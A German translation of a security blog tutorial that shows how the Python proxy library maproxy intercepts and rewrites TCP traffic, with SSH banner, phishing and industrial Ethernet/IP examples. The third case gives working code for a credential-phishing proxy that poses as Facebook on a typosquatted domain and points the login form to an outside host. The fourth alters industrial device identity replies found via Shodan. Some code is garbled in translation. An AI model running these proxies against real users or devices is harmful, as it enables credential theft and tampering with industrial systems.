Die Übersetzung des Artikels wurde am Vorabend des Kursbeginns erstellt
Abstrakt
Eine Vielzahl von Arten von Sicherheitsbewertungen, die von regelmäßigen Penetrationstests und Red-Team-Operationen bis hin zum Hacken von IoT/ICS-Geräten und SCADA reichen, beinhalten die Arbeit mit binären Netzwerkprotokollen, d. h. im Wesentlichen das Abfangen und Ändern von Netzwerkdaten zwischen dem Client und dem Ziel. Das Aufspüren des Netzwerkverkehrs ist keine schwierige Aufgabe, da wir über Tools wie Wireshark, Tcpdump oder Scapy verfügen. Änderungen scheinen jedoch eine arbeitsintensivere Aufgabe zu sein, da wir eine Art Schnittstelle benötigen, um die Netzwerkdaten zu lesen, zu filtern und zu ändern es im laufenden Betrieb und sendet es nahezu in Echtzeit an den Zielhost zurück. Darüber hinaus wäre es ideal, wenn ein solches Tool automatisch mit mehreren parallelen Verbindungen arbeiten und mithilfe von Skripten anpassbar wäre.
Eines Tages entdeckte ich ein Tool namens
, die Dokumentation hat mir das schnell klar gemacht maproxy
- Nur was ich brauche. Dies ist ein ziemlich einfacher, vielseitiger und leicht konfigurierbarer TCP-Proxy. Ich habe dieses Tool bei mehreren ziemlich komplexen Anwendungen getestet, darunter ICS-Geräten (die viele Pakete erzeugen), um zu sehen, ob es viele parallele Verbindungen bewältigen kann, und das Tool hat eine gute Leistung erbracht.
In diesem Artikel erfahren Sie, wie Sie Netzwerkdaten im Handumdrehen verarbeiten maproxy
.
Beschreibung
Werkzeug maproxy
basiert auf Tornado, einem beliebten und ausgereiften asynchronen Netzwerk-Framework in Python.
Im Allgemeinen kann es in mehreren Modi betrieben werden:
TCP:TCP
– unverschlüsselte TCP-Verbindungen;TCP:SSL
иSSL:TCP
– mit Einwegverschlüsselung;SSL:SSL
– Zwei-Wege-Verschlüsselung.
Es kommt als Bibliothek. Für einen schnellen Einstieg können Sie Beispieldateien verwenden, die das Wesentliche widerspiegeln
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
Fall 1 – einfacher bidirektionaler Proxy
Basierend auf tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Standardmäßig ProxyServer()
benötigt zwei Argumente – den Verbindungsstandort und den Zielport. server.listen()
benötigt ein Argument – den Port zum Abhören der eingehenden Verbindung.
Ausführen des Skripts:
# python tcp2tcp.py
Um den Test durchzuführen, stellen wir über unser Proxy-Skript eine Verbindung zu einem lokalen SSH-Server her, der mithört 2222/tcp
Port und stellt eine Verbindung zu einem Standardport her 22/tcp
SSH-Server:
Das Willkommensbanner informiert Sie darüber, dass unser Beispielskript den Netzwerkverkehr erfolgreich weitergeleitet hat.
Fall 2 – Datenänderung
Ein weiteres Demo-Skript logging_proxy.py
Ideal für die Interaktion mit Netzwerkdaten. Die Kommentare in der Datei beschreiben die Klassenmethoden, die Sie ändern können, um Ihr Ziel zu erreichen:
Das Interessanteste ist hier:
on_c2p_done_read
– um Daten auf dem Weg vom Client zum Server abzufangen;on_p2s_done_read
- umgedreht.
Versuchen wir, das SSH-Banner zu ändern, das der Server an den Client zurückgibt:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Führen Sie das Skript aus:
Wie Sie sehen, wurde der Client in die Irre geführt, weil der SSH-Servername für ihn in geändert wurde «DumnySSH»
.
Fall 3 – einfache Phishing-Webseite
Es gibt unzählige Möglichkeiten, dieses Tool zu verwenden. Konzentrieren wir uns dieses Mal auf etwas Praktischeres von der Seite des Red Team-Betriebs. Lassen Sie uns die Zielseite nachahmen m.facebook.com
und eine benutzerdefinierte Domäne mit einem absichtlichen Tippfehler verwenden, zum Beispiel: m.facebok.com
. Nehmen wir zu Demonstrationszwecken einfach an, dass die Domain bei uns registriert ist.
Wir werden eine unverschlüsselte Netzwerkverbindung mit dem Proxy unseres Opfers und einem SSL-Stream zum Facebook-Server herstellen (31.13.81.36
). Damit dieses Beispiel funktioniert, müssen wir den HTTP-Host-Header ersetzen und den richtigen Hostnamen einfügen. Außerdem deaktivieren wir die Antwortkomprimierung, damit wir problemlos auf den Inhalt zugreifen können. Letztendlich werden wir das HTML-Formular ersetzen, sodass die Anmeldeinformationen an uns und nicht an die Server von Facebook gesendet werden:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/de/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Zusammengefasst:
Wie Sie sehen, ist es uns gelungen, die ursprüngliche Website erfolgreich zu ersetzen.
Fall 4 – Portierung von Ethernet/IP
Ich beschäftige mich schon seit geraumer Zeit mit industriellen Geräten und Software (ICS/SCADA), wie zum Beispiel programmierbaren Steuerungen (SPS), I/O-Modulen, Antrieben, Relais, Kontaktplanprogrammierungsumgebungen und vielem mehr. Dieser Koffer ist für diejenigen, die industrielle Dinge mögen. Um solche Lösungen zu hacken, muss aktiv mit Netzwerkprotokollen gespielt werden. Im folgenden Beispiel möchte ich zeigen, wie Sie den ICS/SCADA-Netzwerkverkehr ändern können.
Dazu benötigen Sie Folgendes:
- Netzwerk-Sniffer, zum Beispiel Wireshark;
- Ethernet/IP oder einfach nur ein SIP-Gerät, Sie können es über den Shodan-Dienst finden;
- Unser Drehbuch basiert auf
maproxy
.
Schauen wir uns zunächst an, wie eine typische Identifizierungsantwort von CIP (Common Industrial Protocol) aussieht:
Die Geräteidentifizierung erfolgt mithilfe des Ethernet/IP-Protokolls, einer erweiterten Version des industriellen Ethernet-Protokolls, das Steuerungsprotokolle wie CIP umschließt. Wir werden den hervorgehobenen ID-Namen ändern, der im Screenshot sichtbar ist „NI-IndComm für Ethernet“ mit unserem Proxy-Skript. Wir könnten das Skript wiederverwenden logging_proxy.py
und ändern Sie auf ähnliche Weise die Klassenmethode on_p2s_done_read
, weil wir möchten, dass auf dem Client ein anderer Identitätsname sichtbar ist.
Code:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Im Wesentlichen haben wir zweimal nach der Geräteidentifikation gefragt, die zweite Antwort war die ursprüngliche und die erste wurde spontan geändert.
Und das Letzte
Meiner Meinung nach maproxy
Ein praktisches und einfaches Tool, das ebenfalls in Python geschrieben ist, sodass ich glaube, dass auch Sie von der Verwendung profitieren können. Natürlich gibt es komplexere Tools zur Verarbeitung und Änderung von Netzwerkdaten, aber diese erfordern auch mehr Aufmerksamkeit und werden meist für einen bestimmten Anwendungsfall erstellt, z.B. maproxy
Sie können Ihre Ideen zum Abfangen von Netzwerkdaten schnell umsetzen, da die Beispielskripte sehr anschaulich sind.
Source: habr.com